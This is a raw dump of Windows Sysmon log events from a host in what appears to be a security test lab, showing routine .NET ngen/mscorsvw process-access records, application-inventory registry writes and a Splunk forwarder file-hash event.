14:45:27.852{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F87-613B-AC0A-00000000F001}5240C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045641Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.822{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=E311BFEA06265D302E97E1D9185A6C00,SHA256=6B4E240565FE0DBB7E020555436D2F11417A0263CAF28F29A6028D009C195E56,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045640Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.789{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F87-613B-AB0A-00000000F001}5668C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045639Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.758{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F87-613B-AB0A-00000000F001}5668C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045638Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.758{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F87-613B-AB0A-00000000F001}5668C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045637Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.711{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F87-613B-AA0A-00000000F001}6524C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045636Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.696{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F87-613B-AA0A-00000000F001}6524C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045635Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.696{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F87-613B-AA0A-00000000F001}6524C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045634Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.649{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F87-613B-A90A-00000000F001}2328C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045633Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.633{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F87-613B-A90A-00000000F001}2328C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045632Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.633{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F87-613B-A90A-00000000F001}2328C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000045631Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:45:27.633{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exe\REGISTRY\A\{e37aa9e9-39eb-d13f-80e3-de2869874d3f}\Root\InventoryApplicationFile\officec2rclient.|62d1554663c79908\BinProductVersion16.0.13801.20842 13241300x800000000000000045630Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:45:27.633{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exe\REGISTRY\A\{e37aa9e9-39eb-d13f-80e3-de2869874d3f}\Root\InventoryApplicationFile\officec2rclient.|62d1554663c79908\LinkDate07/30/2021 00:42:40 13241300x800000000000000045629Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:45:27.633{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exe\REGISTRY\A\{e37aa9e9-39eb-d13f-80e3-de2869874d3f}\Root\InventoryApplicationFile\officec2rclient.|62d1554663c79908\Publishermicrosoft corporation 13241300x800000000000000045628Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:45:27.633{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exe\REGISTRY\A\{e37aa9e9-39eb-d13f-80e3-de2869874d3f}\Root\InventoryApplicationFile\officec2rclient.|62d1554663c79908\LowerCaseLongPathc:\program files\common files\microsoft shared\clicktorun\officec2rclient.exe 10341000x800000000000000045627Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.602{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F87-613B-A80A-00000000F001}5472C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045626Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.586{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F87-613B-A80A-00000000F001}5472C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045625Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.586{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F87-613B-A80A-00000000F001}5472C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045624Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.524{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F87-613B-A70A-00000000F001}5652C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000045623Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDBSetValue2021-09-10 14:45:27.524{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store\C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RClient.exeBinary Data 10341000x800000000000000045622Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.508{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F87-613B-A70A-00000000F001}5652C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045621Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.508{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F87-613B-A70A-00000000F001}5652C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045620Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.477{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F87-613B-A60A-00000000F001}4128C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045619Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.461{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F87-613B-A60A-00000000F001}4128C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045618Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.461{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F87-613B-A60A-00000000F001}4128C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045617Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.430{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F87-613B-A50A-00000000F001}3912C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045616Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.414{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F87-613B-A50A-00000000F001}3912C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045615Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 